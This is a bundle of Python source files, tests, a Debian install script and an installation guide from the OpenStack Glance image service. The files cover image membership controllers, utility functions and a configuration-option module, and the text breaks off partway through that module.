<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import logging
import webob.exc
from glance.common import exception
from glance.common import wsgi
from glance.registry.db import api as db_api
logger = logging.getLogger('glance.registry.api.v1.members')
class Controller(object):
def __init__(self, conf):
self.conf = conf
db_api.configure_db(conf)
def index(self, req, image_id):
"""
Get the members of an image.
"""
try:
image = db_api.image_get(req.context, image_id)
except exception.NotFound:
raise webob.exc.HTTPNotFound()
except exception.NotAuthorized:
# If it's private and doesn't belong to them, don't let on
# that it exists
msg = _("Access by %(user)s to image %(id)s "
"denied") % ({'user': req.context.user,
'id': image_id})
logger.info(msg)
raise webob.exc.HTTPNotFound()
return dict(members=make_member_list(image['members'],
member_id='member',
can_share='can_share'))
def update_all(self, req, image_id, body):
"""
Replaces the members of the image with those specified in the
body. The body is a dict with the following format::
{"memberships": [
{"member_id": <MEMBER_ID>,
["can_share": [True|False]]}, ...
]}
"""
if req.context.read_only:
raise webob.exc.HTTPForbidden()
elif req.context.owner is None:
raise webob.exc.HTTPUnauthorized(_("No authenticated user"))
# Make sure the image exists
session = db_api.get_session()
try:
image = db_api.image_get(req.context, image_id, session=session)
except exception.NotFound:
raise webob.exc.HTTPNotFound()
except exception.NotAuthorized:
# If it's private and doesn't belong to them, don't let on
# that it exists
msg = _("Access by %(user)s to image %(id)s "
"denied") % ({'user': req.context.user,
'id': image_id})
logger.info(msg)
raise webob.exc.HTTPNotFound()
# Can they manipulate the membership?
if not req.context.is_image_sharable(image):
msg = _("No permission to share that image")
raise webob.exc.HTTPForbidden(msg)
# Get the membership list
try:
memb_list = body['memberships']
except Exception, e:
# Malformed entity...
msg = _("Invalid membership association: %s") % e
raise webob.exc.HTTPBadRequest(explanation=msg)
add = []
existing = {}
# Walk through the incoming memberships
for memb in memb_list:
try:
datum = dict(image_id=image['id'],
member=memb['member_id'],
can_share=None)
except Exception, e:
# Malformed entity...
msg = _("Invalid membership association: %s") % e
raise webob.exc.HTTPBadRequest(explanation=msg)
# Figure out what can_share should be
if 'can_share' in memb:
datum['can_share'] = bool(memb['can_share'])
# Try to find the corresponding membership
try:
membership = db_api.image_member_find(req.context,
datum['image_id'],
datum['member'],
session=session)
# Are we overriding can_share?
if datum['can_share'] is None:
datum['can_share'] = membership['can_share']
existing[membership['id']] = {
'values': datum,
'membership': membership,
}
except exception.NotFound:
# Default can_share
datum['can_share'] = bool(datum['can_share'])
add.append(datum)
# We now have a filtered list of memberships to add and
# memberships to modify. Let's start by walking through all
# the existing image memberships...
for memb in image['members']:
if memb['id'] in existing:
# Just update the membership in place
update = existing[memb['id']]['values']
db_api.image_member_update(req.context, memb, update,
session=session)
else:
# Outdated one; needs to be deleted
db_api.image_member_delete(req.context, memb, session=session)
# Now add the non-existant ones
for memb in add:
db_api.image_member_create(req.context, memb, session=session)
# Make an appropriate result
return webob.exc.HTTPNoContent()
def update(self, req, image_id, id, body=None):
"""
Adds a membership to the image, or updates an existing one.
If a body is present, it is a dict with the following format::
{"member": {
"can_share": [True|False]
}}
If "can_share" is provided, the member's ability to share is
set accordingly. If it is not provided, existing memberships
remain unchanged and new memberships default to False.
"""
if req.context.read_only:
raise webob.exc.HTTPForbidden()
elif req.context.owner is None:
raise webob.exc.HTTPUnauthorized(_("No authenticated user"))
# Make sure the image exists
try:
image = db_api.image_get(req.context, image_id)
except exception.NotFound:
raise webob.exc.HTTPNotFound()
except exception.NotAuthorized:
# If it's private and doesn't belong to them, don't let on
# that it exists
msg = _("Access by %(user)s to image %(id)s "
"denied") % ({'user': req.context.user,
'id': image_id})
logger.info(msg)
raise webob.exc.HTTPNotFound()
# Can they manipulate the membership?
if not req.context.is_image_sharable(image):
msg = _("No permission to share that image")
raise webob.exc.HTTPForbidden(msg)
# Determine the applicable can_share value
can_share = None
if body:
try:
can_share = bool(body['member']['can_share'])
except Exception, e:
# Malformed entity...
msg = _("Invalid membership association: %s") % e
raise webob.exc.HTTPBadRequest(explanation=msg)
# Look up an existing membership...
try:
session = db_api.get_session()
membership = db_api.image_member_find(req.context,
image_id, id,
session=session)
if can_share is not None:
values = dict(can_share=can_share)
db_api.image_member_update(req.context, membership, values,
session=session)
except exception.NotFound:
values = dict(image_id=image['id'], member=id,
can_share=bool(can_share))
db_api.image_member_create(req.context, values, session=session)
return webob.exc.HTTPNoContent()
def delete(self, req, image_id, id):
"""
Removes a membership from the image.
"""
if req.context.read_only:
raise webob.exc.HTTPForbidden()
elif req.context.owner is None:
raise webob.exc.HTTPUnauthorized(_("No authenticated user"))
# Make sure the image exists
try:
image = db_api.image_get(req.context, image_id)
except exception.NotFound:
raise webob.exc.HTTPNotFound()
except exception.NotAuthorized:
# If it's private and doesn't belong to them, don't let on
# that it exists
msg = _("Access by %(user)s to image %(id)s "
"denied") % ({'user': req.context.user,
'id': image_id})
logger.info(msg)
raise webob.exc.HTTPNotFound()
# Can they manipulate the membership?
if not req.context.is_image_sharable(image):
msg = _("No permission to share that image")
raise webob.exc.HTTPForbidden(msg)
# Look up an existing membership
try:
session = db_api.get_session()
member_ref = db_api.image_member_find(req.context,
image_id,
id,
session=session)
db_api.image_member_delete(req.context,
member_ref,
session=session)
except exception.NotFound:
pass
# Make an appropriate result
return webob.exc.HTTPNoContent()
def index_shared_images(self, req, id):
"""
Retrieves images shared with the given member.
"""
params = {}
try:
memberships = db_api.image_member_get_memberships(req.context,
id,
**params)
except exception.NotFound, e:
msg = _("Invalid marker. Membership could not be found.")
raise webob.exc.HTTPBadRequest(explanation=msg)
return dict(shared_images=make_member_list(memberships,
image_id='image_id',
can_share='can_share'))
def make_member_list(members, **attr_map):
"""
Create a dict representation of a list of members which we can use
to serialize the members list. Keyword arguments map the names of
optional attributes to include to the database attribute.
"""
def _fetch_memb(memb, attr_map):
return dict([(k, memb[v]) for k, v in attr_map.items()
if v in memb.keys()])
# Return the list of members with the given attribute mapping
return [_fetch_memb(memb, attr_map) for memb in members
if not memb.deleted]
def create_resource(conf):
"""Image members resource factory method."""
deserializer = wsgi.JSONRequestDeserializer()
serializer = wsgi.JSONResponseSerializer()
return wsgi.Resource(Controller(conf), deserializer, serializer)
<file_sep>
import logging
import webob.exc
from glance import api
from glance.common import exception
from glance.common import wsgi
from glance import registry
logger = logging.getLogger('glance.api.v1.members')
class Controller(object):
def __init__(self, conf):
self.conf = conf
def index(self, req, image_id):
"""
Return a list of dictionaries indicating the members of the
image, i.e., those tenants the image is shared with.
:param req: the Request object coming from the wsgi layer
:param image_id: The opaque image identifier
:retval The response body is a mapping of the following form::
{'members': [
{'member_id': <MEMBER>,
'can_share': <SHARE_PERMISSION>, ...}, ...
]}
"""
try:
members = registry.get_image_members(req.context, image_id)
except exception.NotFound:
msg = _("Image with identifier %s not found") % image_id
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
except exception.NotAuthorized:
msg = _("Unauthorized image access")
logger.debug(msg)
raise webob.exc.HTTPForbidden(msg)
return dict(members=members)
def delete(self, req, image_id, id):
"""
Removes a membership from the image.
"""
if req.context.read_only:
raise webob.exc.HTTPForbidden()
elif req.context.owner is None:
raise webob.exc.HTTPUnauthorized(_("No authenticated user"))
try:
registry.delete_member(req.context, image_id, id)
except exception.NotFound, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
except exception.NotAuthorized, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
return webob.exc.HTTPNoContent()
def default(self, req, image_id, id, body=None):
"""This will cover the missing 'show' and 'create' actions"""
raise webob.exc.HTTPMethodNotAllowed()
def update(self, req, image_id, id, body=None):
"""
Adds a membership to the image, or updates an existing one.
If a body is present, it is a dict with the following format::
{"member": {
"can_share": [True|False]
}}
If "can_share" is provided, the member's ability to share is
set accordingly. If it is not provided, existing memberships
remain unchanged and new memberships default to False.
"""
if req.context.read_only:
raise webob.exc.HTTPForbidden()
elif req.context.owner is None:
raise webob.exc.HTTPUnauthorized(_("No authenticated user"))
# Figure out can_share
can_share = None
if body and 'member' in body and 'can_share' in body['member']:
can_share = bool(body['member']['can_share'])
try:
registry.add_member(req.context, image_id, id, can_share)
except exception.Invalid, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPBadRequest(explanation=msg)
except exception.NotFound, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
except exception.NotAuthorized, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
return webob.exc.HTTPNoContent()
def update_all(self, req, image_id, body):
"""
Replaces the members of the image with those specified in the
body. The body is a dict with the following format::
{"memberships": [
{"member_id": <MEMBER_ID>,
["can_share": [True|False]]}, ...
]}
"""
if req.context.read_only:
raise webob.exc.HTTPForbidden()
elif req.context.owner is None:
raise webob.exc.HTTPUnauthorized(_("No authenticated user"))
try:
registry.replace_members(req.context, image_id, body)
except exception.Invalid, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPBadRequest(explanation=msg)
except exception.NotFound, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
except exception.NotAuthorized, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
return webob.exc.HTTPNoContent()
def index_shared_images(self, req, id):
"""
Retrieves list of image memberships for the given member.
:param req: the Request object coming from the wsgi layer
:param id: the opaque member identifier
:retval The response body is a mapping of the following form::
{'shared_images': [
{'image_id': <IMAGE>,
'can_share': <SHARE_PERMISSION>, ...}, ...
]}
"""
try:
members = registry.get_member_images(req.context, id)
except exception.NotFound, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPNotFound(msg)
except exception.NotAuthorized, e:
msg = "%s" % e
logger.debug(msg)
raise webob.exc.HTTPForbidden(msg)
return dict(shared_images=members)
def create_resource(conf):
"""Image members resource factory method"""
deserializer = wsgi.JSONRequestDeserializer()
serializer = wsgi.JSONResponseSerializer()
return wsgi.Resource(Controller(conf), deserializer, serializer)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
System-level utilities and helper functions.
"""
import datetime
import errno
import inspect
import logging
import os
import random
import subprocess
import socket
import sys
import uuid
from glance.common import exception
logger = logging.getLogger(__name__)
TIME_FORMAT = "%Y-%m-%dT%H:%M:%SZ"
def chunkiter(fp, chunk_size=65536):
"""
Return an iterator to a file-like obj which yields fixed size chunks
:param fp: a file-like object
:param chunk_size: maximum size of chunk
"""
while True:
chunk = fp.read(chunk_size)
if chunk:
yield chunk
else:
break
def image_meta_to_http_headers(image_meta):
"""
Returns a set of image metadata into a dict
of HTTP headers that can be fed to either a Webob
Request object or an httplib.HTTP(S)Connection object
:param image_meta: Mapping of image metadata
"""
headers = {}
for k, v in image_meta.items():
if v is None:
v = ''
if k == 'properties':
for pk, pv in v.items():
if pv is None:
pv = ''
headers["x-image-meta-property-%s"
% pk.lower()] = unicode(pv)
else:
headers["x-image-meta-%s" % k.lower()] = unicode(v)
return headers
def get_image_meta_from_headers(response):
"""
Processes HTTP headers from a supplied response that
match the x-image-meta and x-image-meta-property and
returns a mapping of image metadata and properties
:param response: Response to process
"""
result = {}
properties = {}
if hasattr(response, 'getheaders'): # httplib.HTTPResponse
headers = response.getheaders()
else: # webob.Response
headers = response.headers.items()
for key, value in headers:
key = str(key.lower())
if key.startswith('x-image-meta-property-'):
field_name = key[len('x-image-meta-property-'):].replace('-', '_')
properties[field_name] = value or None
elif key.startswith('x-image-meta-'):
field_name = key[len('x-image-meta-'):].replace('-', '_')
result[field_name] = value or None
result['properties'] = properties
if 'size' in result:
try:
result['size'] = int(result['size'])
except ValueError:
raise exception.Invalid
for key in ('is_public', 'deleted', 'protected'):
if key in result:
result[key] = bool_from_header_value(result[key])
return result
def bool_from_header_value(value):
"""
Returns True if value is a boolean True or the
string 'true', case-insensitive, False otherwise
"""
if isinstance(value, bool):
return value
elif isinstance(value, (basestring, unicode)):
if str(value).lower() == 'true':
return True
return False
def bool_from_string(subject):
"""
Interpret a string as a boolean.
Any string value in:
('True', 'true', 'On', 'on', '1')
is interpreted as a boolean True.
Useful for JSON-decoded stuff and config file parsing
"""
if isinstance(subject, bool):
return subject
elif isinstance(subject, int):
return subject == 1
if hasattr(subject, 'startswith'): # str or unicode...
if subject.strip().lower() in ('true', 'on', '1'):
return True
return False
def import_class(import_str):
"""Returns a class from a string including module and class"""
mod_str, _sep, class_str = import_str.rpartition('.')
try:
__import__(mod_str)
return getattr(sys.modules[mod_str], class_str)
except (ImportError, ValueError, AttributeError), e:
raise exception.ImportFailure(import_str=import_str,
reason=e)
def import_object(import_str):
"""Returns an object including a module or module and class"""
try:
__import__(import_str)
return sys.modules[import_str]
except ImportError:
cls = import_class(import_str)
return cls()
def generate_uuid():
return str(uuid.uuid4())
def is_uuid_like(value):
try:
uuid.UUID(value)
return True
except Exception:
return False
def isotime(at=None):
if not at:
at = datetime.datetime.utcnow()
return at.strftime(TIME_FORMAT)
def parse_isotime(timestr):
return datetime.datetime.strptime(timestr, TIME_FORMAT)
def safe_mkdirs(path):
try:
os.makedirs(path)
except OSError, e:
if e.errno != errno.EEXIST:
raise
def safe_remove(path):
try:
os.remove(path)
except OSError, e:
if e.errno != errno.ENOENT:
raise
class PrettyTable(object):
"""Creates an ASCII art table for use in bin/glance
Example:
ID Name Size Hits
--- ----------------- ------------ -----
122 image 22 0
"""
def __init__(self):
self.columns = []
def add_column(self, width, label="", just='l'):
"""Add a column to the table
:param width: number of characters wide the column should be
:param label: column heading
:param just: justification for the column, 'l' for left,
'r' for right
"""
self.columns.append((width, label, just))
def make_header(self):
label_parts = []
break_parts = []
for width, label, _ in self.columns:
# NOTE(sirp): headers are always left justified
label_part = self._clip_and_justify(label, width, 'l')
label_parts.append(label_part)
break_part = '-' * width
break_parts.append(break_part)
label_line = ' '.join(label_parts)
break_line = ' '.join(break_parts)
return '\n'.join([label_line, break_line])
def make_row(self, *args):
row = args
row_parts = []
for data, (width, _, just) in zip(row, self.columns):
row_part = self._clip_and_justify(data, width, just)
row_parts.append(row_part)
row_line = ' '.join(row_parts)
return row_line
@staticmethod
def _clip_and_justify(data, width, just):
# clip field to column width
clipped_data = str(data)[:width]
if just == 'r':
# right justify
justified = clipped_data.rjust(width)
else:
# left justify
justified = clipped_data.ljust(width)
return justified
<file_sep>..
Copyright 2011 OpenStack, LLC
All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License"); you may
not use this file except in compliance with the License. You may obtain
a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
License for the specific language governing permissions and limitations
under the License.
Installing Glance
=================
Installing from packages
~~~~~~~~~~~~~~~~~~~~~~~~
To install the latest released version of Glance,
follow the following instructions.
Debian, Ubuntu
##############
1. Add the Glance PPA to your sources.lst::
$> sudo add-apt-repository ppa:glance-core/trunk
$> sudo apt-get update
2. Install Glance::
$> sudo apt-get install glance
Red Hat, Fedora
###############
Only RHEL 6, Fedora 15, and newer releases have the necessary
components packaged.
On RHEL 6, enable the EPEL repository.
Install Glance::
$ su -
# yum install openstack-glance
Mac OSX
#######
.. todo:: No idea how to do install on Mac OSX. Somebody with a Mac should complete this section
Installing from source tarballs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To install the latest version of Glance from the Launchpad Bazaar repositories,
following the following instructions.
1. Grab the source tarball from `Launchpad <http://launchpad.net/glance/+download>`_
2. Untar the source tarball::
$> tar -xzf <FILE>
3. Change into the package directory and build/install::
$> cd glance-<RELEASE>
$> sudo python setup.py install
Installing from Git
~~~~~~~~~~~~~~~~~~~
To install the latest version of Glance from the GitHub Git repositories,
following the following instructions.
Debian, Ubuntu
##############
1. Install Git and build dependencies::
$> sudo apt-get install git
$> sudo apt-get build-dep glance
.. note::
If you want to build the Glance documentation locally, you will also want
to install the python-sphinx package
2. Clone Glance's trunk branch from GitHub::
$> git clone git://github.com/openstack/glance
$> cd glance
3. Install Glance::
$> sudo python setup.py install
Red Hat, Fedora
###############
On Fedora, most developers and essentially all users install packages.
Instructions below are not commonly used, and even then typically in a
throw-away VM.
Since normal build dependencies are resolved by mechanisms of RPM,
there is no one-line command to install everything needed by
the source repository in git. One common way to discover the dependencies
is to search for *BuildRequires:* in the specfile of openstack-glance
for the appropriate distro.
In case of Fedora 16, for example, do this::
$ su -
# yum install git
# yum install python2-devel python-setuptools python-distutils-extra
# yum install python-webob python-eventlet python-boto
# yum install python-virtualenv
Build Glance::
$ python setup.py build
If any missing modules crop up, install them with yum, then retry the build.
.. note::
If you want to build the Glance documentation, you will also want
to install the packages python-sphinx and graphviz, then run
"python setup.py build_sphinx". Due to required features of
python-sphinx 1.0 or better, documentation can only be built
on Fedora 15 or later.
Test the build::
$ ./run_tests.sh -s
Once Glance is built and tested, install it::
$ su -
# python setup.py install
Mac OSX
#######
.. todo:: No idea how to do install on Mac OSX. Somebody with a Mac should complete this section
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import unittest
from glance.common import utils
class TestUtils(unittest.TestCase):
"""Test routines in glance.utils"""
def test_generate_uuid_format(self):
"""Check the format of a uuid"""
uuid = utils.generate_uuid()
self.assertTrue(isinstance(uuid, basestring))
self.assertTrue(len(uuid), 36)
# make sure there are 4 dashes
self.assertTrue(len(uuid.replace('-', '')), 36)
def test_generate_uuid_unique(self):
"""Ensure generate_uuid will return unique values"""
uuids = [utils.generate_uuid() for i in range(5)]
# casting to set will drop duplicate values
unique = set(uuids)
self.assertEqual(len(uuids), len(list(unique)))
def test_is_uuid_like_success(self):
fixture = 'b694bf02-6b01-4905-a50e-fcf7bce7e4d2'
self.assertTrue(utils.is_uuid_like(fixture))
def test_is_uuid_like_fails(self):
fixture = 'pants'
self.assertFalse(utils.is_uuid_like(fixture))
<file_sep>#!/bin/sh
set -e
#DEBHELPER#
if [ "$1" = "configure" ]
then
update-python-modules --post-install
fi
exit 0
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2012 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import json
import os
import shutil
import unittest
import stubout
from glance.tests import stubs
from glance.tests import utils as test_utils
class IsolatedUnitTest(unittest.TestCase):
"""
Unit test case that establishes a mock environment within
a testing directory (in isolation)
"""
def setUp(self):
self.test_id, self.test_dir = test_utils.get_isolated_test_env()
self.stubs = stubout.StubOutForTesting()
stubs.stub_out_registry_and_store_server(self.stubs, self.test_dir)
policy_file = self._copy_data_file('policy.json', self.test_dir)
options = {'sql_connection': 'sqlite://',
'verbose': False,
'debug': False,
'default_store': 'filesystem',
'filesystem_store_datadir': os.path.join(self.test_dir),
'policy_file': policy_file}
self.conf = test_utils.TestConfigOpts(options)
def _copy_data_file(self, file_name, dst_dir):
src_file_name = os.path.join('glance/tests/etc', file_name)
shutil.copy(src_file_name, dst_dir)
dst_file_name = os.path.join(dst_dir, file_name)
return dst_file_name
def set_policy_rules(self, rules):
fap = open(self.conf.policy_file, 'w')
fap.write(json.dumps(rules))
fap.close()
def tearDown(self):
self.stubs.UnsetAll()
if os.path.exists(self.test_dir):
shutil.rmtree(self.test_dir)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
r"""
Configuration options which may be set on the command line or in config files.
The schema for each option is defined using the Opt sub-classes e.g.
common_opts = [
cfg.StrOpt('bind_host',
default='0.0.0.0',
help='IP address to listen on'),
cfg.IntOpt('bind_port',
default=9292,
help='Port number to listen on')
]
Options can be strings, integers, floats, booleans, lists or 'multi strings':
enabled_apis_opt = \
cfg.ListOpt('enabled_apis',
default=['ec2', 'osapi'],
help='List of APIs to enable by default')
DEFAULT_EXTENSIONS = [
'nova.api.openstack.contrib.standard_extensions'
]
osapi_extension_opt = \
cfg.MultiStrOpt('osapi_extension',
default=DEFAULT_EXTENSIONS)
Option schemas are registered with with the config manager at runtime, but
before the option is referenced:
class ExtensionManager(object):
enabled_apis_opt = cfg.ListOpt(...)
def __init__(self, conf):
self.conf = conf
self.conf.register_opt(enabled_apis_opt)
...
def _load_extensions(self):
for ext_factory in self.conf.osapi_extension:
....
A common usage pattern is for each option schema to be defined in the module or
class which uses the option:
opts = ...
def add_common_opts(conf):
conf.register_opts(opts)
def get_bind_host(conf):
return conf.bind_host
def get_bind_port(conf):
return conf.bind_port
An option may optionally be made available via the command line. Such options
must registered with the config manager before the command line is parsed (for
the purposes of --help and CLI arg validation):
cli_opts = [
cfg.BoolOpt('verbose',
short='v',
default=False,
help='Print more verbose output'),
cfg.BoolOpt('debug',
short='d',
default=False,
help='Print debugging output'),
]
def add_common_opts(conf):
conf.register_cli_opts(cli_opts)
The config manager has a single CLI option defined by default, --config-file:
class ConfigOpts(object):
config_file_opt = \
MultiStrOpt('config-file',
...
def __init__(self, ...):
...
self.register_cli_opt(self.config_file_opt)
Option values are parsed from any supplied config files using SafeConfigParser.
If none are specified, a default set is used e.g. glance-api.conf and
glance-common.conf:
glance-api.conf:
[DEFAULT]
bind_port = 9292
glance-common.conf:
[DEFAULT]
bind_host = 0.0.0.0
Option values in config files override those on the command line. Config files
are parsed in order, with values in later files overriding those in earlier
files.
The parsing of CLI args and config files is initiated by invoking the config
manager e.g.
conf = ConfigOpts()
conf.register_opt(BoolOpt('verbose', ...))
conf(sys.argv[1:])
if conf.verbose:
...
Options can be registered as belonging to a group:
rabbit_group = cfg.OptionGroup(name='rabbit',
title='RabbitMQ options')
rabbit_host_opt = \
cfg.StrOpt('host',
group='rabbit',
default='localhost',
help='IP/hostname to listen on'),
rabbit_port_opt = \
cfg.IntOpt('port',
default=5672,
help='Port number to listen on')
rabbit_ssl_opt = \
conf.BoolOpt('use_ssl',
default=False,
help='Whether to support SSL connections')
def register_rabbit_opts(conf):
conf.register_group(rabbit_group)
# options can be registered under a group in any of these ways:
conf.register_opt(rabbit_host_opt)
conf.register_opt(rabbit_port_opt, group='rabbit')
conf.register_opt(rabbit_ssl_opt, group=rabbit_group)
If no group is specified, options belong to the 'DEFAULT' section of config
files:
glance-api.conf:
[DEFAULT]
bind_port = 9292
...
[rabbit]
host = localhost
port = 5672
use_ssl = False
userid = guest
password = <PASSWORD>
virtual_host = /
Command-line options in a group are automatically prefixed with the group name:
--rabbit-host localhost --rabbit-use-ssl False
Option values in the default group are referenced as attributes/properties on
the config manager; groups are also attributes on the config manager, with
attributes for each of the options associated with the group:
server.start(app, conf.bind_port, conf.bind_host, conf)
self.connection = kombu.connection.BrokerConnection(
hostname=conf.rabbit.host,
port=conf.rabbit.port,
...)
Option values may reference other values using PEP 292 string substitution:
opts = [
cfg.StrOpt('state_path',
default=os.path.join(os.path.dirname(__file__), '../'),
help='Top-level directory for maintaining nova state'),
cfg.StrOpt('sqlite_db',
default='nova.sqlite',
help='file name for sqlite'),
cfg.StrOpt('sql_connection',
default='sqlite:///$state_path/$sqlite_db',
help='connection string for sql database'),
]
Note that interpolation can be avoided by using '$$'.
"""
import sys
import ConfigParser
import copy
import optparse
import os
import string
class Error(Exception):
"""Base class for cfg exceptions."""
def __init__(self, msg=None):
self.msg = msg
def __str__(self):
return self.msg
class ArgsAlreadyParsedError(Error):
"""Raised if a CLI opt is registered after parsing."""
def __str__(self):
ret = "arguments already parsed"
if self.msg:
ret += ": " + self.msg
return ret
class NoSuchOptError(Error):
"""Raised if an opt which doesn't exist is referenced."""
def __init__(self, opt_name, group=None):
self.opt_name = opt_name
self.group = group
def __str__(self):
if self.group is None:
return "no such option: %s" % self.opt_name
else:
return "no such option in group %s: %s" % (self.group.name,
self.opt_name)
class NoSuchGroupError(Error):
"""Raised if a group which doesn't exist is referenced."""
def __init__(self, group_name):
self.group_name = group_name
def __str__(self):
return "no such group: %s" % self.group_name
class DuplicateOptError(Error):
"""Raised if multiple opts with the same name are registered."""
def __init__(self, opt_name):
self.opt_name = opt_name
def __str__(self):
return "duplicate option: %s" % self.opt_name
class TemplateSubstitutionError(Error):
"""Raised if an error occurs substituting a variable in an opt value."""
def __str__(self):
return "template substitution error: %s" % self.msg
class ConfigFilesNotFoundError(Error):
"""Raised if one or more config files are not found."""
def __init__(self, config_files):
self.config_files = config_files
def __str__(self):
return 'Failed to read some config files: %s' % \
string.join(self.config_files, ',')
class ConfigFileParseError(Error):
"""Raised if there is an error parsing a config file."""
def __init__(self, config_file, msg):
self.config_file = config_file
self.msg = msg
def __str__(self):
return 'Failed to parse %s: %s' % (self.config_file, self.msg)
class ConfigFileValueError(Error):
"""Raised if a config file value does not match its opt type."""
pass
def find_config_files(project=None, prog=None, filetype="conf"):
"""Return a list of default configuration files.
We default to two config files: [${project}.conf, ${prog}.conf]
And we look for those config files in the following directories:
~/.${project}/
~/
/etc/${project}/
/etc/
We return an absolute path for (at most) one of each the default config
files, for the topmost directory it exists in.
For example, if project=foo, prog=bar and /etc/foo/foo.conf, /etc/bar.conf
and ~/.foo/bar.conf all exist, then we return ['/etc/foo/foo.conf',
'~/.foo/bar.conf']
If no project name is supplied, we only look for ${prog.conf}.
:param project: an optional project name
:param prog: the program name, defaulting to the basename of sys.argv[0]
"""
if prog is None:
prog = os.path.basename(sys.argv[0])
fix_path = lambda p: os.path.abspath(os.path.expanduser(p))
cfg_dirs = [
fix_path(os.path.join('~', '.' + project)) if project else None,
fix_path('~'),
os.path.join('/etc', project) if project else None,
'/etc',
'etc',
]
cfg_dirs = filter(bool, cfg_dirs)
def search_dirs(dirs, basename):
for d in dirs:
path = os.path.join(d, basename)
if os.path.exists(path):
return path
config_files = []
if project:
project_config = search_dirs(cfg_dirs, '%s.%s' % (project, filetype))
config_files.append(project_config)
config_files.append(search_dirs(cfg_dirs, '%s.%s' % (prog, filetype)))
return filter(bool, config_files)
def _is_opt_registered(opts, opt):
"""Check whether an opt with the same name is already registered.
The same opt may be registered multiple times, with only the first
registration having any effect. However, it is an error to attempt
to register a different opt with the same name.
:param opts: the set of opts already registered
:param opt: the opt to be registered
:returns: True if the opt was previously registered, False otherwise
:raises: DuplicateOptError if a naming conflict is detected
"""
if opt.dest in opts:
if opts[opt.dest]['opt'] is not opt:
raise DuplicateOptError(opt.name)
return True
else:
return False
class Opt(object):
"""Base class for all configuration options.
An Opt object has no public methods, but has a number of public string
properties:
name:
the name of the option, which may include hyphens
dest:
the (hyphen-less) ConfigOpts property which contains the option value
short:
a single character CLI option name
default:
the default value of the option
metavar:
the name shown as the argument to a CLI option in --help output
help:
an string explaining how the options value is used
"""
def __init__(self, name, dest=None, short=None,
default=None, metavar=None, help=None):
"""Construct an Opt object.
The only required parameter is the option's name. However, it is
common to also supply a default and help string for all options.
:param name: the option's name
:param dest: the name of the corresponding ConfigOpts property
:param short: a single character CLI option name
:param default: the default value of the option
:param metavar: the option argument to show in --help
:param help: an explanation of how the option is used
"""
self.name = name
if dest is None:
self.dest = self.name.replace('-', '_')
else:
self.dest = dest
self.short = short
self.default = default
self.metavar = metavar
self.help = help
def _get_from_config_parser(self, cparser, section):
"""Retrieves the option value from a ConfigParser object.
This is the method ConfigOpts uses to look up the option value from
config files. Most opt types override this method in order to perform
type appropriate conversion of the returned value.
:param cparser: a ConfigParser object
:param section: a section name
"""
return cparser.get(section, self.dest)
def _add_to_cli(self, parser, group=None):
"""Makes the option available in the command line interface.
This is the method ConfigOpts uses to add the opt to the CLI interface
as appropriate for the opt type. Some opt types may extend this method,
others may just extend the helper methods it uses.
:param parser: the CLI option parser
:param group: an optional OptGroup object
"""
container = self._get_optparse_container(parser, group)
